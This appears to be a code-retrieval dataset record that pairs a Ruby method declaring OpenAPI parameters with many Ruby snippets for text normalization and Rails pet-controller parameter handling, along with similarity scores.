"def diacritize_text(text)\n text = text.strip\n seq = preprocess_text(text)\n\n # initialize onnx computation\n # redundancy caused by batch processing of nnets\n ort_inputs = {\n 'src' => [seq]*@batch_size,\n 'lengths' => [seq.length]*@batch_size\n }\n\n # onnx predictions\n preds = predict_batch(ort_inputs)[0]\n\n reconcile_strings(\n text,\n combine_text_and_haraqat(seq, preds)\n )\n end",
"def normalize(input, doctype = T.unsafe(nil), entity_filter = T.unsafe(nil)); end",
"def nice_typography(text)\n widont(amp(rubypants(text)))\n end",
"def analyze phrase\n\t\t@meaningful_words = meaningful_words(phrase, \" \")\n\tend",
"def normalize!(string, options = {})\n unify_voiced_katakana!(string)\n normalize_charwidth!(string, options)\n end",
"def make_terms(text, lang)\n if !text\n return []\n end\n \n text = clean_text(text)\n\n # Turn non-breaking spaces into spaces. This is more complex than it should be, \n # due to Ruby version and platform character encoding differences\n # In particular Windows always seems to read as IBM437 encoding\n if RUBY_VERSION < \"1.9\"\n text.gsub!(/\\302\\240/,' ') \n else\n text.gsub!(\"\\u00A0\", \" \") # turn non-breaking spaces (UTF-8) into spaces \n end\n\n text = downcase_l(text,lang)\n\n # cleanups on Cable and Warlogs data\n text.gsub!(\"&\",\"\") # data has some HTML apostrophe mess, clean it up\n text.gsub!(\"amp;\",\"\")\n text.gsub!(\"apos;\",\"'\")\n text.gsub!(\"''\",\"'\") # double '' to single '\n text.gsub!(/<[^>]*>/, '') # strip things inside HTML tags\n\n # allow only a small set of characters\n text.tr!('\"()[]:,',' ') # turn certain punctation into spaces\n text = strippunct_l(text, lang) # remove anything not in the language charset (helps with OCR junk)\n text.gsub!(/\\s\\s*/, ' ') # collapse runs of spaces into single spaces\n\n terms = text.split(' ')\n terms.map!{ |t| t.sub(/^[^a-z0-9]+/,'').sub(/[^a-z0-9]+$/,'') } # remove leading/trailing punctuation\n \n # Now scan through the term list and spit out ungrams, bigrams\n termsout = []\n \n while t = terms.shift\n \n # look for a bigram starting with t\n if terms.length && terms[0] != nil\n t2 = terms[0]\n bigram = t + \"_\" + t2\n if @bigrams.include?(bigram)\n termsout << bigram\n #puts bigram\n next\n end\n end\n \n # DISABLED stemming, for easier installation (stemmer gem not req'd) js 21/2/2012\n # no bigram here, stem the individual term, output if it's \"acceptable\"\n #if @stem_terms \n # t = t.stem\n #end\n \n if term_acceptable(t)\n termsout << t\n end\n \n end\n \n return termsout\n end",
"def tenderize(text)\n return text if @preserve_case\n if /[a-z]/ =~ text\n text\n else\n text.downcase.gsub(/\\b\\w/) { $&.upcase }\n end\n end",
"def normalize!; end",
"def analyze(phrase)\n @words.classify(phrase.split(/[^\\w']/)).max_class\n end",
"def analyze\n analyze_text\n @analyzed = true\n nil\n end",
"def parse(text)\n text = pre_proccess(text)\n text = pre_normalize(text)\n puts text.inspect if Chronic.debug\n\n tokens = Tokenizer::tokenize(' ' + text + ' ')\n tag(tokens, options)\n\n puts \"+#{'-' * 51}\\n| #{tokens}\\n+#{'-' * 51}\" if Chronic.debug\n\n token_group = TokenGroup.new(tokens, definitions(options), @now, options)\n span = token_group.to_span\n\n guess(span, options[:guess]) if span\n end",
"def analyze content\n unless content.respond_to? :split\n raise ArgumentError, \"#{content.class} has no #split\"\n end\n content.split(/\\s/).map {|w| @stemmer.stem w }\n end",
"def normalize(type); end",
"def pre_normalize(text)\n text.gsub!(/\\b(quarters?)\\b/, '<=\\1=>') # workaround for Numerizer\n text.gsub!(/\\b\\s+third\\b/, ' 3rd')\n text.gsub!(/\\b\\s+fourth\\b/, ' 4th')\n text = Numerizer.numerize(text)\n text.gsub!(/<=(quarters?)=>/, '\\1')\n text\n end",
"def normalize! page\n mediawiki = text page\n html = text_wikimedia_html page\n norm_mediawiki = normalize_text mediawiki, html, page\n if mediawiki != norm_mediawiki\n write! page, norm_mediawiki\n else\n pp %Q{normalize! page #{page} already normalized}\n end\n norm_mediawiki\n end",
"def analyse_string(text)\n current_words = Array.new(depth)\n text_array = split_text_to_array(text)\n until text_array.empty?\n next_word = text_array.shift\n add_words(current_words.dup, next_word)\n current_words.push next_word\n current_words.shift\n end\n end",
"def normalize(input, entities = T.unsafe(nil), entity_filter = T.unsafe(nil)); end",
"def normalize_phrase phrase\n\t\tphrase.to_s.downcase\n\tend",
"def morphword\n input.morphword\n end",
"def normalize(incoming_str)\n if normalizer\n return normalizer.call(incoming_str)\n end\n\n str = incoming_str\n str = str.downcase\n str = str.gsub(/[^a-z0-9]/, \" \")\n # squish whitespace\n str = str.gsub(/\\s+/, \" \").strip\n str\n end",
"def text_commonality(text)\n probability_of_ngrams(common_ngrams_from_text(text))\n end",
"def analyze(text)\n @markov.merge!(self.class.analyze(text, @num_prefix_words))\n end",
"def process_text(text)\n regexp = /(?:\\s|^|>)(?<word>(\\w{0,3}|[-–—]|\\&ndash\\;|\\&mdash\\;|aboard|about|above|across|after|against|along|amid|among|anti|around|before|behind|below|beneath|beside|besides|between|beyond|concerning|considering|despite|down|during|except|excepting|excluding|following|from|inside|into|like|minus|near|onto|opposite|outside|over|past|plus|regarding|round|save|since|than|that|this|through|toward|towards|under|underneath|unlike|until|upon|versus|with|within|without)(?<space>\\s))/i\n text.gsub(regexp).each { |m| \"#{m[0..-2]} \" }\n end",
"def analyze_text(text)\n hash = Hash.new(Array.new)\n text_array = text.split(/\\s/)\n text_array.each_with_index do |word, i|\n break if i == (text_array.length - 1)\n hash[word] += [text_array[i + 1]]\n end\n hash\n end",
"def unnormalize(string, entities = T.unsafe(nil), filter = T.unsafe(nil)); end",
"def classify(text)\n positive_value = 1\n neutral_value = 1\n negative_value = 1\n\n word = text.split(/\\W+/)\n word = word.drop(1) if word.first == ''\n word.each_with_index { |_, i|\n find_instances(word[i])\n positive_value *= ((((positive_polarity.to_f/positive_population.to_f).to_f) * ((positive_polarity).to_f))/word_pop)\n negative_value *= ((((negative_polarity.to_f/negative_population.to_f).to_f) * ((negative_polarity).to_f))/word_pop)\n neutral_value *= ((((neutral_polarity.to_f/neutral_population.to_f).to_f) * ((neutral_polarity).to_f))/word_pop)\n }\n total_counter(negative_value, neutral_value, positive_value)\n\n rescue => error\n puts error.backtrace\n\n end",
"def split_normalise(text)\n text.downcase.gsub(/[^a-z]/, ' ').gsub(\"'\", '').split\nend",
"def mass_tikify(text)\n sentences = NLP.sentences(text)\n\n sentences.map do |s|\n tokens = NLP.tokenize(s).reject do |t|\n # Don't include usernames/urls as tokens\n t.include?('@') || t.include?('http')\n end\n\n tokens.map { |t| tikify(t) }\n end\n end",
"def normalize_friendly_id(text)\n text.to_s.to_slug.normalize.to_s\n end",
"def normalized; end",
"def weight(text)\n weight = @emphasis[:multiplier]\n\n if text.length >= @emphasis[:long_words_threshold]\n weight *= @emphasis[:long_words]\n end\n\n if text[0,1] == text[0,1].upcase\n weight *= @emphasis[:upper_case]\n end\n\n weight += vowels(text)\n weight += consonants(text)\n weight\n end",
"def call\n text\n .split\n .map { |token| convert_sym_to_punct(token) }\n .flat_map { |token| \n token = should_downcase(token)\n remove_symbols(token)\n }\n .flat_map { |token| token.split(Regex::COMMAS_OR_PUNCTUATION) }\n .flat_map { |token| token.split(Regex::VARIOUS) }\n .flat_map { |token| token.split(Regex::ENDS_WITH_PUNCTUATION2) }\n .flat_map { |token| split_dotted_email_or_digit(token) }\n .flat_map { |token| split_abbreviations(token) }\n .flat_map { |token| split_period_after_last_word(token) }\n .flat_map { |token| remove_slash_start_and_end(token) }\n end",
"def wordify(text) # :doc:\n text.split(/\\s+/)\n end",
"def sanitize(text)\n sanitized_text = text.dup\n\n # Strip URLs\n sanitized_text.gsub!(URL_REGEX, '')\n\n # Strip @mention style tokens\n sanitized_text.gsub!(MENTION_REGEX, '')\n\n sanitized_text\n end",
"def convert_to_words(text)\n convert_to_paragraph(text).join(\" \").split(\" \")\n end",
"def normalize(name); end",
"def mass_tikify(text)\n sentences = NLP.sentences(text)\n\n sentences.map do |s|\n tokens = NLP.tokenize(s).reject do |t|\n # Don't include usernames/urls as tokens\n (t.include?(\"@\") && t.length > 1) || t.include?(\"http\")\n end\n\n tokens.map { |t| tikify(t) }\n end\n end",
"def normalized_words\n self.split(/\\s+/).map { |word|\n Iconv.iconv('ascii//translit//ignore', 'utf-8', word).first.downcase.gsub(/\\W/,'')\n }.\n delete_if(&:empty?).\n map { |word|\n \"**#{word}\"\n }\n end",
"def normalize!\n end",
"def normalize(str) \n str.gsub(/\\W/, '').upcase #.gsub(/\\s(\\d+)\\s/, '')\n end",
"def process\n tokenize(text).each do |word|\n token = TfIdfSimilarity::Token.new word\n if token.valid?\n @term_counts[token.lowercase_filter.classic_filter.to_s] += 1\n end\n end\n @size = term_counts.values.reduce(:+)\n end",
"def prep_text_for_match_query(text,exclude_dblquote=false,remove_weak_terms=true)\r\n result = text.dup\r\n result.downcase! # downcase for stop_words removal\r\n result.gsub!(\"'s\",'')\r\n remove_punctuation_proper!(result,exclude_dblquote)\r\n # result.gsub!(/([^\\s]+)/) { |word|\r\n # weak_term?(word) ? '' : word\r\n # } if remove_weak_terms\r\n # result\r\n # #!? check terms as adverbs?\r\n words = result.split(/\\W/)\r\n if remove_weak_terms\r\n words = words.select {|w| !weak_term?(w) }\r\n end\r\n words.compact!\r\n words.join(\" \")\r\n end",
"def parse_and_process_text(text, parse_options={})\n postprocess(parse_xml(parse_text(text, parse_options)))\n end",
"def basic_stem\n # undo some euphonic changes so that we can recover\n # the basic stem\n form = @first_form.sub(/(?:μμαι)$/,'πμαι') # palatal\n form = form.sub(/(?:σμαι)$/,'τμαι') # dental\n form = form.sub(/(?:ουμαι)$/,'εομαι') # future contracted deponents\n\n # now remove the ending\n form.sub(/(?:ω|ον|α|ομαι|μαι|ην)$/,'')\n end",
"def unique_words(text)\n normalize(text).uniq\nend",
"def unique_words(text)\n normalize(text).uniq\nend",
"def post_process_text(s) \n # extract math\n math, arrays = [], []\n s.scan(/\\$([^$]+)\\$/) {|m| math << m } # $$\n s.scan(/\\\\\\[([^$]+)\\\\\\]/) {|m| arrays << m } # \\[ \\]\n # citations\n s = replace_citations(s)\n # listings, algorithms, tables\n s = replace_listings(s)\n # custom \n s = replace_custom_refs(s)\n # texttt\n s = replace_texttt(s)\n # emph\n s = replace_emph(s)\n # textbf\n s = replace_bf(s)\n # urls\n s = replace_urls(s)\n # footnotes\n s = replace_footnotes(s)\n # paragrams\n s = replace_paragraphs(s)\n # chapter refs\n s = replace_chapter_refs(s)\n # section refs\n s = remove_section_refs(s)\n # replace markboth with nothing\n s = replace_markboth(s)\n # remove hypenation suggestions\n s = remove_hyph_suggestions(s)\n # umlats etc\n s = character_processing(s)\n # replace \\% with %\n s = s.gsub(\"\\\\%\", \"\\%\")\n # replace \"\\ \" with a space\n s = s.gsub(\"\\\\ \", \" \")\n # replace \\\" and \\' with nothing\n s = s.gsub(\"\\\\\\\"\", \"\")\n s = s.gsub(\"\\\\\\'\", \"\")\n # replace ~ with space\n s = s.gsub(\"~\", \" \")\n # replace \\$ with $ (testing algorithms)\n s = s.gsub(\"\\\\$\", \"$\")\n # replace \\_ with _ (testing algorithms)\n s = s.gsub(\"\\\\_\", \"_\") \n # replace \\# with # (appendix)\n s = s.gsub(\"\\\\#\", \"#\")\n # replace \\{ with { (appendix)\n s = s.gsub(\"\\\\{\", \"{\")\n # replace \\} with } (appendix)\n s = s.gsub(\"\\\\}\", \"}\") \n # replace \\\\ with <br /> (appendix, de)\n s = s.gsub(\"\\\\\\\\\", \"<br />\") \n # replace \\Latex with LaTex\n s = s.gsub(\"\\\\LaTeX\", \"LaTex\") \n # replace \\copyright with html copyright\n s = s.gsub(\"\\\\copyright\", \"©\")\n # replace \\mybookdate\\ with publication date 2011\n s = s.gsub(\"\\\\mybookdate\", DATE)\n # replace \\mybookauthor with the author ame\n s = s.gsub(\"\\\\mybookauthor\", \"Jason Brownlee\")\n # replace \\mybooktitle with the book title\n s = s.gsub(\"\\\\mybooktitle\", TITLE)\n # replace \\mybooksubtitle with the book subtitle\n s = s.gsub(\"\\\\mybooksubtitle\", SUBTITLE)\n # finally switch ` for ' (late in the subs)\n s = s.gsub(\"`\", \"'\")\n \n # put the math back\n if !math.empty?\n index = 0\n s = s.gsub(/\\$([^$]+)\\$/) do |m|\n index += 1\n \"$#{math[index - 1]}$\"\n end\n end \n if !arrays.empty?\n index = 0\n s = s.gsub(/\\\\\\[([^$]+)\\\\\\]/) do |m|\n index += 1\n \"\\\\[#{arrays[index - 1]}\\\\]\"\n end\n end\n return s\nend",
"def normalization_program\n puts normalize(prompt_and_get_input_from_user)\nend",
"def stem_token_deviance( filter_count=nil )\n list = get_all_tokens_deviance( filter_count ).map! {|e| e[1] }\n return Stat.stem( Stat.recode_float(list, [0.0..1.0,1.0..2.0,2.0..3.0,3.0..4.0,4.0..5.0,5.0..6.0,6.0..7.0] ) )\n\n\t#list = get_all_tokens_deviance.map! {|e| e[1] }\n\t#return Stat.stem( Stat.recode_float(list, [0.0..1.0,1.0..2.0,2.0..3.0,3.0..4.0,4.0..5.0,5.0..6.0,6.0..7.0] ) )\n\n end",
"def infer_language(text)\n raise \"Not Implemented. Class #{self.class.name} doesn't implement infer_language\"\n end",
"def stem(data)\n if data\n words = data.split(/[+,_]|%20/) # split on '+', '_', or '%20'\n tokens = []\n\n words.each do |word|\n tokens.push(Lingua.stemmer(word, :language => \"en\"))\n end\n\n tokens.join(\",\")\n else\n \"Error: need input\"\n end\n end",
"def get_string_normalization_options\n\t\tdic = @db::Dictionary.where(:title => @dic_name).first\n\t\treturn { lowercased: dic[:lowercased], hyphen_replaced: dic[:hyphen_replaced], stemmed: dic[:stemmed] } if dic.present?\n\tend",
"def string_normalizer(string)\n string.downcase.gsub(/[^0-9a-z ]/i, '')\n end",
"def parse_text(text)\n\n end",
"def normalize!\n end",
"def normalize_whitespace(text)\n text.to_s.gsub(/[[:space:]]+/, ' ').strip\n end",
"def unique_words(text)\n split_normalise(text).uniq\nend",
"def normalize()\n merge(normalize: 'true')\n end",
"def norm_term( t )\n t.sub( @lead_squote, RSQMARK ).\n gsub( @term_rejects, UNDERSCORE )\n end",
"def normalize_friendly_id(text)\n text.to_s.to_slug.normalize.to_s\n end",
"def analyze(options)\n add_transaction_parameters(options)\n\n comp_options = InputSanitizer.new.whitelist_options(\n options,\n self.class.accepted_params\n )\n\n input = InputExtractor.new.extract(options)\n processor = self.class.text_processor.new(comp_options)\n output = processor.run(input)\n\n if processor.respond_to?(:output_type)\n type = processor.output_type\n else\n type = :xml\n end\n\n return output, type\n end",
"def replace_type_string(mapping, field)\n if (mapping.has_key?(\"analyzer\")) # analyzer -> text\n mapping[\"type\"] = \"text\"\n else # no analyzer\n if (mapping.has_key?(\"index\")) # index\n case (mapping[\"index\"])\n when \"analyzed\" # index.analyzed -> text\n mapping[\"type\"] = \"text\"\n when \"not_analyzed\" # index.not_analyzed -> keyword \n mapping[\"type\"] = \"keyword\"\n when \"no\" # index.no -> text\n mapping[\"type\"] = \"text\"\n end\n else\t\t\t\t# no alalezer and no index -> in field keyword, otherwise text\n if field\n mapping[\"type\"] = \"keyword\"\n else\n mapping[\"type\"] = \"text\"\n end\n end\n end\n end",
"def analyze_text(text)\n {\n :line_count => (text.split(/\\n/).last.chomp.empty? ? text.scan(/\\n/).count + 1 : text.scan(/\\n/).count),\n :character_count => text.length,\n :character_count_excluding_spaces => text.scan(/\\S/).length,\n :word_count => text.split(' ').length,\n :sentence_count => text.split(/[\\.?!]/).length,\n :paragraph_count => text.split(/\\n\\r/).length\n }\nend",
"def extract(text, **options)\n tokens = tokenize(text)\n graph = PageRank.new(**@page_rank_options)\n classify(@graph_strategy, context: GraphStrategy).build_graph(tokens, graph)\n ranks = graph.calculate(**options)\n apply_rank_filters(ranks, tokens: tokens, original_text: text)\n end",
"def parse_text(text)\n ## Strip html\n Sanitize::clean!(text, :remove_contents => ['script','style'])\n text.gsub!(/[\\n\\t]+/, ' ')\n text\n end",
"def preprocess(input)\n\n tmp = String.new(input)\n output = Hash.new\n\n #print \"tmp is '#{tmp}' and its gsub is '#{tmp.gsub(/[^a-zA-Z ]/, ' ')}'\"\n\n tmp.gsub(/[^a-zA-Z ]/, ' ').split.each do |word|\n stem = word.downcase.stem\n next if stem.length < 3\n output[stem] ||= 0\n output[stem] += 1\n end\n\n return output\n end"
] | [
"0.73448277",
"0.68200576",
"0.65461254",
"0.62681997",
"0.6033383",
"0.59138775",
"0.58968383",
"0.58936214",
"0.5863743",
"0.5764376",
"0.5729348",
"0.56959754",
"0.56768626",
"0.5668627",
"0.5617253",
"0.5614357",
"0.56085706",
"0.56003666",
"0.5592124",
"0.5585808",
"0.54711854",
"0.54670966",
"0.5455115",
"0.54544085",
"0.5453406",
"0.5450893",
"0.542838",
"0.5398942",
"0.53948635",
"0.53652495",
"0.536325",
"0.53461903",
"0.5314235",
"0.5312779",
"0.5307984",
"0.5300493",
"0.5300053",
"0.5294802",
"0.5291904",
"0.52801365",
"0.52380526",
"0.5234253",
"0.52336687",
"0.517848",
"0.51693964",
"0.5144308",
"0.5136544",
"0.5125864",
"0.51003456",
"0.50985724",
"0.5093559",
"0.5081587",
"0.5076941",
"0.5076547",
"0.50739086",
"0.50346",
"0.5032207",
"0.5018551",
"0.49942568",
"0.49720365",
"0.49662572",
"0.49649277",
"0.49635932",
"0.49619198",
"0.4956478",
"0.49564278",
"0.49549013",
"0.49475953",
"0.4938664",
"0.4934289",
"0.49283054",
"0.49280965",
"0.49221134",
"0.4919508",
"0.4918947",
"0.49052876",
"0.48947334",
"0.48891228",
"0.48847142",
"0.48847142",
"0.4880246",
"0.4875592",
"0.48744205",
"0.4867265",
"0.48617184",
"0.48569816",
"0.48566243",
"0.48535296",
"0.48484263",
"0.48334292",
"0.48294914",
"0.4813647",
"0.48112124",
"0.4808608",
"0.48013267",
"0.47889486",
"0.47835958",
"0.47806656",
"0.47695386",
"0.4750028"
] | 0.6842146 | 1 |
Accepts parameter objects: parameter :petId, in: :path, type: :integer, required: true Or references: parameter ref: '/parameters/Pet' | def parameter(name, attributes={})
metadata[:parameters] << if name.respond_to?(:has_key?)
{ '$ref': name.delete(:ref) || name.delete('ref') }
else
{ name: name.to_s }.merge(attributes)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def pet_params\n params.require(:pet).permit(:id, :name, :img_url, :about, :user_id)\n end",
"def line_pet_params\n params.require(:line_pet).permit(:pet_id)\n end",
"def pet_params\n params.require(:pet).permit(:name, :description, :animal_type, :breed, :user_id, :parent_id)\n end",
"def pet_item_params\n params.require(:pet_item).permit(:pet_id)\n end",
"def pet_params\n params.require(:pet).permit(:name, :adoptions_id, :races_id, :weight, :description, :special_needs, :dewormed, :neutered, :aprox_age, :species)\n end",
"def adopted_pet_params\n params.require(:adopted_pet).permit(:pet_id)\n end",
"def pet_params\n params.require(:pet).permit(:pet_kind, :breed, :size, :user_id)\n end",
"def pet_params\n params.require(:pet).permit(:age, :name, :sex, :description, :avatar, :breed_id)\n end",
"def pet_params\n params.require(:pet).permit(:user_id, :image)\n end",
"def pet_params\n params.require(:pet).permit(:name, :dob, :died, :species_id)\n end",
"def pet_params\n params.require(:pet).permit(:age, :breed, :gender, :name, :user_id)\n end",
"def pet_params\n params.require(:pet).permit(:name, :specie, :age, :gender, :race, :size, :sterilized, :avatar, :user_id, \n :adoption, :moquillo, :rabia, :parainfluenza)\n end",
"def user_pet_params\n # params[:user_pet]\n params.require(:user_pet).permit(:user_id, :pet_id)\n end",
"def typeofpet_params\n params.require(:typeofpet).permit(:name, :pet_id)\n end",
"def pet_params\n params.require(:pet).permit(:name, :age, :breed, :species, :photo_url)\n end",
"def pet_params\n params.require(:pet).\n permit(:type, :name, :description, :gender, :colors, :needs_transit_home, :published, :vaccinated, :location,\n :metadata, :age, :children_friendly, :pet_friendly, :publication_type, videos: [])\n end",
"def pet_params\n params.fetch(:pet, {})\n end",
"def pet_params\n params.require(:pet).permit(:name, :care_instructions, :household_id, :owner_id)\n end",
"def pet_params\n params.require(:pet).permit(:name, :color, :age, :weight, :markings, :gender, :collar, :collar_description, :chipped, :injured,\n :listing_type, :missing_since_found_at, :location, :latitude, :longitude, :description,\n :returned_to_owner, :scraping_script, :scraped_feed, :source_url, :breed_id, :user_id, :photo_url)\n end",
"def set_pet\n @pet = params[:id] ? Pet.find(params[:id]) : Pet.new\n end",
"def pet_params\n params.require(:pet).permit(:name, :species, :desc, :image, :remote_image_url)\n end",
"def pet_params\n params.require(:pet).permit(:animal_type, :age, :sex, :name, :description, :lost_on, :lost_in, :user_id, :race_id, :solved)\n end",
"def pet_params\n params.require(:pet).permit(:pname, :gender_cd, :status_cd, :age_cd, :size_cd, :bio, :for_adoption, :photos, :breed_id)\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def pet_params\n params.require(:pet).permit(:name, :gender, :birthday, :species_id, :image)\n end",
"def pet_params\n params.require(:pet).permit(:name, :description, :city, :state, :price, :avatar, :user_id, :reservation_id, :reservation_date)\n end",
"def pet_params\n params.require(:pet).permit(:name, :sex, :health, :clean, :mood, :status, :asleep, :strength, :defense, :age, :user_id, :highscore_id)\n end",
"def pet_params\n params.require(:pet).permit(:name, :age, :specie, :sex, :race, :height, :sterilization, :adpted, :description, :imagen)\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def pet_params\n # params.fetch(:pet, {})\n params.require(:pet).permit(:user_id, :owner_phone, :owner_address, :species, :name, :weight, :breed, :age_years, :age_months, :sex, :spayed, :housetrained, :housetrained_info, :chipped, :otherdogs, :otherdogs_info, :othercats, :othercats_info, :children, :children_info, :shed, :shed_info, :hypoallergenic, :hypoallergenic_info, :noise, :noise_info, :aggression, :aggression_info, :specialcare, :vet, :about, :instructions)\n end",
"def sit_pet_params\n params.require(:sit_pet).permit(:pet_kind, :breed, :size, :user_id)\n end",
"def set_pet\n @pet = Pet.find_by!(id: params[:pet_id])\n end",
"def set_pet\n @pet = Pet.friendly.find(params[:id])\n end",
"def pet_params\n params.require(:pet).permit(:name, :age)\n end",
"def pet_params\n params.require(:pet).permit(:name, :species, :year_of_birth, :good_with_kids)\n end",
"def pet_params\n\t \tparams.require(:pet).permit(:name)\n\t \t# this returns a hash with all the sanitized parameters, with just the stuff we want\n\t end",
"def pet_params\n params.require(:pet).permit(:name, :species, :year_of_birth, :good_with_kids)\n end",
"def pet_params\n params.require(:pet).permit(:type, :name, :breed, :size, :gender, :color, :age, :behavior)\n end",
"def pet_params\n params.require(:pet).permit(:ci, :name, :gender, :race, :bornDate, :client_id, :imagen)\n end",
"def create_params\n params.permit(user: [:pet_id])\n end",
"def pet_params\n params.require(:pet).permit(:name, :race, :birthdate)\n end",
"def pet_breed_params\n params.require(:pet_breed).permit(:id, :name, :description, :pet_category_id)\n end",
"def pet_params\n params.require(:pet).permit(:type, :name, :age)\n end",
"def postulation_pet_params\n params.require(:postulation_pet).permit(:pet_id, :user_id, { question_ids: []}, {answer_pet_id: []}, :state )\n end",
"def pet_params\n params.require(:pet).permit(:category_id, :name, :price, :age, :weight, :date_of_birth, :adopted_at, :wakeup_time, :desexed, :description)\n end",
"def question_pet_params\n params.require(:question_pet).permit(:pet_id, :text)\n end",
"def pet_params\n params.require(:pet).permit(:name, :picture, :max_weight)\n end",
"def pet_params\n params.require(:pet).permit(:name, :description, post_attributes: [:post_type])\n end",
"def set_pet\n @pet = Pet.find_by_id(params[:id]) || Pet.find_by(name: params[:search_query], user_id: current_user.id)\n end",
"def set_pet\n @pet = current_user.pets.find(params[:id])\n end",
"def set_line_pet\n @line_pet = LinePet.find(params[:id])\n end",
"def set_pet_item\n @pet_item = PetItem.find(params[:id])\n end",
"def pet_true_params\n params.require(:pet_true).permit(:name, :age, :kind, :gender, :size, :story, :city, :country, :region, :user_id, :institution_id)\n end",
"def pet_image_repo_params\n params.require(:pet_image_repo).permit(:pet_id, :comment, :image)\n end",
"def show\n @pet = Pet.find_by id: params[:id]\n end",
"def considered_item_params\n params.require(:considered_item).permit(:pet_id, :consideration_id)\n end",
"def prepare_pet\n # remove the pet\n SwaggerClient::PetApi.delete_pet(10002)\n # recreate the pet\n pet = SwaggerClient::Pet.new('id' => 10002, 'name' => \"RUBY UNIT TESTING\")\n SwaggerClient::PetApi.add_pet(:body => pet)\nend",
"def update\n # find_pet\n @pet.update(pet_params)\n redirect_to pet_path(@pet)\n end",
"def set_postulation_pet\n @postulation_pet = PostulationPet.find(params[:id])\n end",
"def busca_por_pet_id(pet_id) \n uri = \"#{ENV['BASE_URI']}/pet/#{pet_id}\"\n \n without_authentication('get', uri)\n end",
"def photo_tag_reference_params\n params.require(:photo_tag_photo).permit(:photo_id, :photo_tag_id)\n end",
"def pet_report_params\n params.require(:pet_report).permit(:reporting, :date, :location, :animal, :breed, :colour, :image, :additionalInfo, :user_id)\n end",
"def set_typeofpet\n @typeofpet = Typeofpet.find(params[:id])\n end",
"def set_user_pet\n @user_pet = UserPet.find(params[:id])\n end",
"def set_question_pet\n @question_pet = QuestionPet.find(params[:id])\n end",
"def params\n { id: 3 }\n end",
"def get_pet_by_id_with_http_info(pet_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PetApi.get_pet_by_id ...'\n end\n # verify the required parameter 'pet_id' is set\n if @api_client.config.client_side_validation && pet_id.nil?\n fail ArgumentError, \"Missing the required parameter 'pet_id' when calling PetApi.get_pet_by_id\"\n end\n # resource path\n local_var_path = '/pet/{petId}'.sub('{' + 'petId' + '}', CGI.escape(pet_id.to_s).gsub('%2F', '/'))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'Pet'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['api_key']\n\n new_options = opts.merge(\n :operation => :\"PetApi.get_pet_by_id\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PetApi#get_pet_by_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def particle_params\n params.require(:particle).permit( :id, :name, items_attributes: [:id, :name, :spec, itemimgs_attributes: [:id, :picture]] )\n end",
"def update\n @pet.update(pet_params)\n redirect_to \"/pets/#{pet_id}\"\n end",
"def prepare_pet(pet_api)\n pet_id = random_id\n category = Petstore::Category.new('id' => 20002, 'name' => 'category test')\n tag = Petstore::Tag.new('id' => 30002, 'name' => 'tag test')\n pet = Petstore::Pet.new('id' => pet_id, 'name' => \"RUBY UNIT TESTING\", 'photo_urls' => 'photo url',\n 'category' => category, 'tags' => [tag], 'status' => 'pending')\n pet_api.add_pet(pet)\n return pet_id\nend",
"def set_parameter\n @parameter = Parameter.pgnd(current_playground).find(params[:id])\n end",
"def photo_params\n params.require(:photo).permit(:title, :description, :pet_image)\n end",
"def show\n @pet = Pet.find(params[:id])\n end",
"def find_pet\n redirect_to pet_path(@pet) if @pet\n end",
"def set_pet_true\n @pet_true = PetTrue.find(params[:id])\n end",
"def peticion_params\n params.require(:peticion).permit(:Tipo_de_documento, :Nombre, :Apellido, :Direccion, :Correo, :Pais, :ciudad, :tipoSolicitud, :Detalle)\n end",
"def prepare_pet(pet_api)\n pet_id = random_id\n category = Petstore::Category.new('id' => 20002, 'name' => 'category test')\n tag = Petstore::Tag.new('id' => 30002, 'name' => 'tag test')\n pet = Petstore::Pet.new('id' => pet_id, 'name' => \"RUBY UNIT TESTING\", 'photo_urls' => 'photo url',\n 'category' => category, 'tags' => [tag], 'status' => 'pending')\n pet_api.add_pet(pet)\n pet_id\nend",
"def procedure_params\n params.require(:procedure).permit(:description, :name, :procedure_ID)\n end",
"def set_adopted_pet\n @adopted_pet = AdoptedPet.find(params[:id])\n end",
"def set_parameter \n @parameter = Parameter.find(params[:parameter_id])\n end"
] | [
"0.6749605",
"0.6745692",
"0.66847736",
"0.6555816",
"0.6549656",
"0.65386283",
"0.65144295",
"0.6463791",
"0.6449904",
"0.64399356",
"0.6403879",
"0.640252",
"0.6399014",
"0.6397209",
"0.63856494",
"0.6378281",
"0.63546133",
"0.63514096",
"0.63483095",
"0.6344998",
"0.6307585",
